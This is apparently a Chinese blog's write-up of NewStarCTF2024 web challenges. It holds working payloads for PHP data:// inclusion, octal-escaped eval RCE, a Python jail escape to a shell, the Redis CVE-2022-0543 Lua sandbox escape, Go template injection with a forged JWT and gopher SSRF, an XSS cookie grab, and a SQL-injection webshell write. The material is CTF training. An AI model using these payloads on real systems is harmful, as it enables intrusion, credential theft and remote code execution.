NewStarCTF2024 web week3-4-5

文章摘要

Bpple-GPT

NewStarCTF2024 web week3-4-5

存档整理了一下

Include Me---php 伪协议

 <?php
   highlight_file(__FILE__);
 function waf(){
   if(preg_match("/<|\?
 |php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
     die("兄弟你别包");
   };
 }
 if(isset($_GET['phpinfo'])){
   phpinfo();
 }
 //兄弟你知道了吗?
 if(!isset($_GET['iknow'])){
   header("Refresh: 5;url=https://cn.bing.com/search?
 q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
 }
 waf();
 include $_GET['me'];
 echo "兄弟你好香";
 ?>

不能有 =,空格多点一点就可以绕过

Payload

 # PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
 ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
 # PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g
 ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g

臭皮的计算器---eval 进制绕过--8 进制--半角转化

在线全角半角转换

 from flask import Flask, render_template, request
 import uuid
 import subprocess
 import os
 import tempfile
 
 app = Flask(__name__)
 app.secret_key = str(uuid.uuid4())
 
 def waf(s):
     token = True
     for i in s:
         if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
             token = False
             break
     return token
 
 @app.route("/")
 def index():
     return render_template("index.html")
 
 @app.route("/calc", methods=['POST', 'GET'])
 def calc():
     
     if request.method == 'POST':
         num = request.form.get("num")
         script = f'''import os
 print(eval("{num}"))
 '''
         print(script)
         if waf(num):
             try:
                 result_output = ''
                 with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                     temp_script.write(script)
                     temp_script_path = temp_script.name
 
                 result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                 os.remove(temp_script_path)
 
                 result_output = result.stdout if result.returncode == 0 else result.stderr
             except Exception as e:
 
                 result_output = str(e)
             return render_template("calc.html", result=result_output)
         else:
             return render_template("calc.html", result="臭皮!你想干什么!!")
     return render_template("calc.html", result='试试呗')
 
 if __name__ == "__main__":
     app.run(host='0.0.0.0', port=30002)

稍微读一下代码就可以发现这个就是利用 eval 进行 rce,但是字母被屏蔽完了,那就八进制绕过吧

最后 Payload 如下

 num=\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\42\154\163\40\57\42\51
 # Result: app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 0
 
 num=\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\42\156\154\40\57\146\154\141\147\42\51
 # flag{*******}

臭皮踩踩背 - pyjail

是一个 pyjail 的题目,

 #题目
 你被豌豆关在一个监狱里,,,,,,
 豌豆百密一疏,不小心遗漏了一些东西,,,
 def ev4l(*args):
 print(secret)
 inp = input("> ")
 f = lambda: None
 print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
 能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,

第一步思路:我想要触发 secret ,我们输入 evel

 > eval()
 你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?
 None

发现只是一个字符串,试了很多次之后发现入口在 f

Payload 如下

 f.__globals__
 #{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__':
 
 <_frozen_importlib_external.SourceFileLoader object at 0x7f877b8364c0>, '__spec__':
 None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
 '__file__': '/main.py', '__cached__': None, 'ev4l': <function ev4l at
 0x7f877b7f31f0>, 'secret': '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理
 解透的?', 'inp': 'f.__globals__', 'f': <function <lambda> at 0x7f877b6dfd30>}
 f.__globals__['__builtins__'].__import__('os').system('sh')
 
 f.__globals__['__builtins__'].__import__('os').system('sh')
 ls
 ls /
 cat /flag

ez_redis---redis---CVE-2022-0543

vulhub/redis/CVE-2022-0543/README.zh-cn.md at master · vulhub/vulhub

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象 <font style="color:rgb(31, 35, 40);">package</font>,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

可以访问 www.zip,主要逻辑如下

 <?php 
                     if(isset($_POST['eval'])){
                         $cmd = $_POST['eval'];
                         if(preg_match("/set|php/i",$cmd))
                         {
                             $cmd = 'return "u are not newstar";';
                         }
                         $example = new Redis();
                         $example->connect($REDIS_HOST);
                         $result = json_encode($example->eval($cmd));
                         echo '<h1 class="subtitle">结果</h1>';
                         echo "<pre>$result</pre>";
                     }
                 ?>

**禁用了 **set,

**我是搜 redis5 命令执行,然后发现存在一个Redis5 存在一个 **CVE-2022-0543

CVE-2022-0543复现 | redis的远程代码执行漏洞 - h0cksr - 博客园

Payload 如下

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("head /flag", "r");
local res = f:read("*a");
f:close();
return res

补充一下

Redis 内嵌 Lua 环境,允许开发者使用 Lua 脚本来执行复杂的逻辑关系

EVAL 命令

EVAL "return 'Hello, Redis!'" 0

这里是在调用 Redis 的 Lua 脚本执行功能,

Pangbai4---go'ssti--jwt

主要漏洞点和可以利用的点如下

func routeFavorite(w http.ResponseWriter, r *http.Request) {

    if r.Method == http.MethodPut {

        // ensure only localhost can access
        requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
        fmt.Println("Request IP:", requestIP)
        if requestIP != "127.0.0.1" && requestIP != "[::1]" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("Only localhost can access"))
            return
        }

        token, _ := r.Cookie("token")

        o, err := validateJwt(token.Value)
        if err != nil {
            w.Write([]byte(err.Error()))
            return
        }

        if o.Name == "PangBai" {
            w.WriteHeader(http.StatusAccepted)
            w.Write([]byte("Hello, PangBai!"))
            return
        }

        if o.Name != "Papa" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("You cannot access!"))
            return
        }

        body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("ok"))
        return
    }

    // render

    tmpl, err := template.ParseFiles("views/favorite.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }

    sig, err := ioutil.ReadFile(config.SignaturePath)
    if err != nil {
        http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, string(sig))

    if err != nil {
        http.Error(w, "[error]", http.StatusInternalServerError)
        return
    }
}

如上,我们代码分析,如果我们可以去修改config.SignaturePath(有一个默认值是./sign.txt),那我们就可以达到任意文件读取的一个效果,但是条件如下:

  1. 是put方法,并且是本地访问
  2. **o.Name**等于Papa,默认是Pangbai,就是说我们得改jwt

第一步

要想改jwt,我们继续阅读可以发现结构体定义如下

type Config struct {
    Stringer
    Name          string
    JwtKey        string
    SignaturePath string
}

这个路由如下,可以理解为模板渲染,所以我们可以尝试用这个去带出来 jwtkey

func routeEye(w http.ResponseWriter, r *http.Request) {

    input := r.URL.Query().Get("input")
    if input == "" {
        input = "{{ .User }}"
    }

    // get template
    content, err := ioutil.ReadFile("views/eye.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }
    tmplStr := strings.Replace(string(content), "%s", input, -1)
    tmpl, err := template.New("eye").Parse(tmplStr)
    if err != nil {
        input := "[error]"
        tmplStr = strings.Replace(string(content), "%s", input, -1)
        tmpl, err = template.New("eye").Parse(tmplStr)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
            return
        }
    }

我们尝试渲染出来jwt的key,根据构造

我们尝试渲染 .Config.JwtKey--->gyB712L7PHIPi5n5c8eZdCftTUaoFArek2PG5UJ3gqL4sTS5CFfkWrTKhh6fVH4g

有了密钥构造结构如下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0.GTRwK81ea5_SFibkaeKDRP3rjmckUjXbPgp4eZ02avU

第二步

现在去满足条件1,请求是 PUT

构造http

PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0.GTRwK81ea5_SFibkaeKDRP3rjmckUjXbPgp4eZ02avU
Content-Length: 18

/proc/self/environ

构造出来Gopher

gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3Atoken%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0%2EGTRwK81ea5%5FSFibkaeKDRP3rjmckUjXbPgp4eZ02avU%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

在 eye 路由去发包

最后访问/favorite 去看渲染的结果

后记

完整的 main.go 如下

 package main
 
 import (
     "fmt"
     "github.com/gorilla/mux"
     "io/ioutil"
     "net/http"
     "os/exec"
     "strings"
     "text/template"
 )
 
 type Token struct {
     Stringer
     Name string
 }
 
 type Config struct {
     Stringer
     Name          string
     JwtKey        string
     SignaturePath string
 }
 
 type Helper struct {
     Stringer
     User   string
     Config Config
 }
 
 var config = Config{
     Name:          "PangBai 过家家 (4)",
     JwtKey:        RandString(64),
     SignaturePath: "./sign.txt",
 }
 
 func (c Helper) Curl(url string) string {
     fmt.Println("Curl:", url)
     cmd := exec.Command("curl", "-fsSL", "--", url)
     _, err := cmd.CombinedOutput()
     if err != nil {
         fmt.Println("Error: curl:", err)
         return "error"
     }
     return "ok"
 }
 
 func routeIndex(w http.ResponseWriter, r *http.Request) {
     http.ServeFile(w, r, "views/index.html")
 }
 
 func routeEye(w http.ResponseWriter, r *http.Request) {
 
     input := r.URL.Query().Get("input")
     if input == "" {
         input = "{{ .User }}"
     }
 
     // get template
     content, err := ioutil.ReadFile("views/eye.html")
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
         return
     }
     tmplStr := strings.Replace(string(content), "%s", input, -1)
     tmpl, err := template.New("eye").Parse(tmplStr)
     if err != nil {
         input := "[error]"
         tmplStr = strings.Replace(string(content), "%s", input, -1)
         tmpl, err = template.New("eye").Parse(tmplStr)
         if err != nil {
             http.Error(w, "error", http.StatusInternalServerError)
             return
         }
     }
 
     // get user from cookie
     user := "PangBai"
     token, err := r.Cookie("token")
     if err != nil {
         token = &http.Cookie{Name: "token", Value: ""}
     }
     o, err := validateJwt(token.Value)
     if err == nil {
         user = o.Name
     }
 
     // renew token
     newToken, err := genJwt(Token{Name: user})
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
     }
     http.SetCookie(w, &http.Cookie{
         Name:  "token",
         Value: newToken,
     })
 
     // render template
     helper := Helper{User: user, Config: config}
     err = tmpl.Execute(w, helper)
     if err != nil {
         http.Error(w, "[error]", http.StatusInternalServerError)
         return
     }
 }
 
 func routeFavorite(w http.ResponseWriter, r *http.Request) {
 
     if r.Method == http.MethodPut {
 
         // ensure only localhost can access
         requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
         fmt.Println("Request IP:", requestIP)
         if requestIP != "127.0.0.1" && requestIP != "[::1]" {
             w.WriteHeader(http.StatusForbidden)
             w.Write([]byte("Only localhost can access"))
             return
         }
 
         token, _ := r.Cookie("token")
 
         o, err := validateJwt(token.Value)
         if err != nil {
             w.Write([]byte(err.Error()))
             return
         }
 
         if o.Name == "PangBai" {
             w.WriteHeader(http.StatusAccepted)
             w.Write([]byte("Hello, PangBai!"))
             return
         }
 
         if o.Name != "Papa" {
             w.WriteHeader(http.StatusForbidden)
             w.Write([]byte("You cannot access!"))
             return
         }
 
         body, err := ioutil.ReadAll(r.Body)
         if err != nil {
             http.Error(w, "error", http.StatusInternalServerError)
         }
         config.SignaturePath = string(body)
         w.WriteHeader(http.StatusOK)
         w.Write([]byte("ok"))
         return
     }
 
     // render
 
     tmpl, err := template.ParseFiles("views/favorite.html")
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
         return
     }
 
     sig, err := ioutil.ReadFile(config.SignaturePath)
     if err != nil {
         http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
         return
     }
 
     err = tmpl.Execute(w, string(sig))
 
     if err != nil {
         http.Error(w, "[error]", http.StatusInternalServerError)
         return
     }
 }
 
 func main() {
     r := mux.NewRouter()
 
     r.HandleFunc("/", routeIndex)
     r.HandleFunc("/eye", routeEye)
     r.HandleFunc("/favorite", routeFavorite)
     r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))
 
     fmt.Println("Starting server on :8000")
     http.ListenAndServe(":8000", r)
 }

Pangbai5---xss

Puppeteer 简介 | Puppeteer 中文文档 | Puppeteer 中文网

Puppeteer 是一个 Node 库,它提供了一个高级 API 来通过 DevTools 协议控制 Chromium 或 Chrome。Puppeteer 默认以 headless 模式运行,但是可以通过修改配置文件运行“有头”模式。

就是 XSS 问题,

发现就是 FLAG,在 cookie 中我们的思路就是传入 xss,让 bot 运行,然后获得 Cookie,就获取到了 flag

 function safe_html(str: string) {
     return str
         .replace(/<.*>/igm, '')
         .replace(/<\.*>/igm, '')
         .replace(/<.*>.*<\/.*>/igm, '')
 }

这里使用多行匹配,所以说我们

 <script
 >
 alert(1)
 </script
 >

成功弹出,说明可以绕过

 <script
 >
 fetch('/api/send', {
     method: 'POST',
     headers: {'Content-Type': 'application/json'},
     body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
 })
 </script
 >

sqlshell--- 写入

这次我不把 flag 放在数据库,看你们怎么办 ^ ^

MySQL 进行写文件

这里直接用 union into 写入了

 import requests
 
 url = 'http://127.0.0.1:3337/'
 
 payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#'
 
 res = requests.get(url,params={'student_name': payload})
 res = requests.get(f'{url}/3.php', params={'1': 'system("ls /");'})
 print(res.text)

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计